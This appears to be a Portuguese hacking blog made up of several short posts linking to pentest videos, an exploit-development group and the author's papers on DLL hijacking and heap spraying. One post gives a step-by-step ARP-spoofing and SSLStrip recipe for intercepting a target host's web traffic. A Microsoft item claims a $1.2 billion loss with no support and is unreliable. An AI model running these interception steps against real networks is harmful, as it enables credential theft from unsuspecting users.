Penetration Testing in the Real World

Opa moçada, tava aqui dando uma olhada em alguns videos, dentre eles achei um bem pertinente e abrangente na questão de analise, busca e explotação de falhas, entao, fica com o video ae :

http://vimeo.com/11213607

Exploits Brasil

Então, eu estou aqui pra divulgar um pouco um grupo que foi criado recentemente pelo Luiz Vieira e o Ronaldo Lima .

O grupo Exploits-Brasil é destinado a todos que se interessam pelo assunto, independentemente do nível de conhecimento de cada um. 

Para se inscrever no grupo acesse esse endereço:
https://groups.google.com/group/exploits-brasil
     Venha participar do grupo e ajude a divulgá-lo! 

O grupo é destinado a todos que desejam mais conhecimento onde se torna existente uma relação de troca de informações e relativismo informal de materiais relacionados ao desenvolvimento de exploits, analises de exploits, exploração de falhas, pentests em geral e outros conteúdos.

Microsoft perde cerca de 1,2 bilhões de dolares .

Por Causa de alguns manos que estavam entediados e foram trabalhar com alguns algoritimos dos quais a microsoft usa para seus codigos, e com isso conseguiram um mode de ajusta-lo e resequencia-lo de forma rapida, e assim chegou até 160 Pontos de codigos da Microsoft e isso sendo varias e varias vezes usado ...
Moral da Historia :

We also fuck the system, our revenge .

About ARM Arch

Este é um paper bem 'white' que eu escrevi para dar mais noção em hardware e criar um elo de estudo ao software, além de dar base sobre a Arquitetura ARM de processadores e como alguns sistemas funcionam, "desde a unha"

Understanding ARM Architecture

DLL Hijacking With Metasploit

A todos, fica disponivel o meu paper sobre o assunto .

DLL Hijacking With Metasploit

Teoria dos Campos Unificados

Bom, ultimamente não tenho postado muitas coisas no blog, fato .

Este é um paper book em PDF que de alguma forma me moveu a cabeça, me fez pensar de uma forma que eu não havia pensado sobre o hacking e a (in)segurança .

DOWNLOAD

Heap-Spray Attack

Está a disposição o meu artigo sobre Heap-Spray Attack !

Metasploit Unleashed

http://www.offensive-security.com/metasploit-unleashed/

É um otimo material para entender Estrutura, funcionamento e uso do Metasploit Framework .

Getting SSL Traffic

A partir da Aparição de um SSLStrip (nao me lembro quem fez) muitos sequelas firam na paranoia , que tem um fundamento pelo poder dessa simplória porem muito interessante tool , que captura Seu Trafego SSL tranquilamente. 


Resumidamente, os passos seriam:

Configurar o IP Forwarding:

CÓDIGO:


# echo 1 > /proc/sys/net/ipv4/ip_forward

Realizar um ataque ARP MITM entre as 2 máquinas:

CÓDIGO:


# arpspoof -i eth0 -t HOST_ALVO

Redirecionar o tráfego com iptables:

CÓDIGO:


# iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080

Iniciar o SSLStrip, definindo um arquivo onde armazenará os dados capturados:

CÓDIGO:


# python sslstrip.py -w arquivo

Quem quiser dar uma olhada no video : 

http://www.youtube.com/watch?v=TJHcfs4inhs

também tem o site do SSLStrip :

http://www.thoughtcrime.org/software/sslstrip/


O que é SSL ?

http://nemesiz.forum.st/redes-cabeadas-f16/ssl-handshake-t250.htm

E MITM ? 

http://nemesiz.forum.st/hacking-geral-f4/man-in-the-middle-na-pratica-t229.htm

[]'s ;